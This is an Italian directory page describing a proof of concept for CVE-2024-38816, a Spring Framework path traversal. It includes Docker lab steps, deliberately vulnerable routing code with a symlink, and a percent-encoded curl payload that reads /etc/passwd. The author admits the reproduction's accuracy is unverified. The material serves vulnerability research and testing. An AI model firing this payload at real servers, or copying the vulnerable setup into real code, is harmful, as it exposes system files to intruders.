Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/wulinpin/cve-2024-38816-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 Prova di concetto

Vedi Repository
9761 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-38816 Prova di Concetto (PoC)

Questa è una prova di concetto per la vulnerabilità CVE-2024-38816, che dimostra un exploit di path traversal.

Passaggi di esecuzione

  1. Costruisci l'immagine Docker: (Spring Boot 3.0.13, basato su Spring Framework 6.0.3)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. Esegui il container ed esponi la porta 8080 alla macchina host:

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Esegui il seguente comando per eseguire il PoC e confermare la vulnerabilità:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se il contenuto del file /etc/passwd viene visualizzato, la vulnerabilità è confermata.

Note

Questo PoC è stato creato basandosi sull'analisi delle note di rilascio e dei log dei commit. Il comportamento della vulnerabilità effettiva potrebbe differire, pertanto l'accuratezza non è garantita. Usalo a tuo rischio.

Considerazioni

Scarica lo strumento
  1. La vulnerabilità è stata corretta in Spring Framework 6.1.13, come confermato dalle note di rilascio.

  2. Dopo aver esaminato le note di rilascio e i log dei commit correlati, ho identificato i seguenti due problemi come potenzialmente collegati a questa vulnerabilità:

    • Issue #33424: È stata aggiunta una nuova opzione relativa ai collegamenti simbolici.
      • Commit correlato: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: Il codice per la sanificazione dei caratteri con codifica % è stato modificato.
      • Commit correlato: d86bf8b2056429edf5494456cffcb2b243331c49
  3. Secondo il security advisory, è probabile che le seguenti condizioni debbano essere soddisfatte affinché l'attacco abbia successo:

    • Viene utilizzato RouterFunctions
    • Viene utilizzato FileSystemResource
    • Sono presenti collegamenti simbolici
    • Nell'attacco sono coinvolti caratteri con codifica %

Configurazione dell'ambiente

Viene utilizzato un ambiente Docker per riprodurre la vulnerabilità.

  1. Crea PathTraversalDemoApplication.java con il seguente codice per configurare il routing dei file statici utilizzando RouterFunction e FileSystemResource:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Aggiungi il seguente comando al Dockerfile per creare un collegamento simbolico:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. Crea un payload che sfrutta la codifica % per attraversare le directory tramite il collegamento simbolico.

    • Path: /static/link/%2e%2e/etc/passwd
  4. Usa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se l'attacco ha successo, verrà visualizzato il contenuto del file /etc/passwd.

Disclaimer

Questo PoC è fornito per scopi educativi e di ricerca sulla sicurezza. Prima di utilizzarlo in un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la giusta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.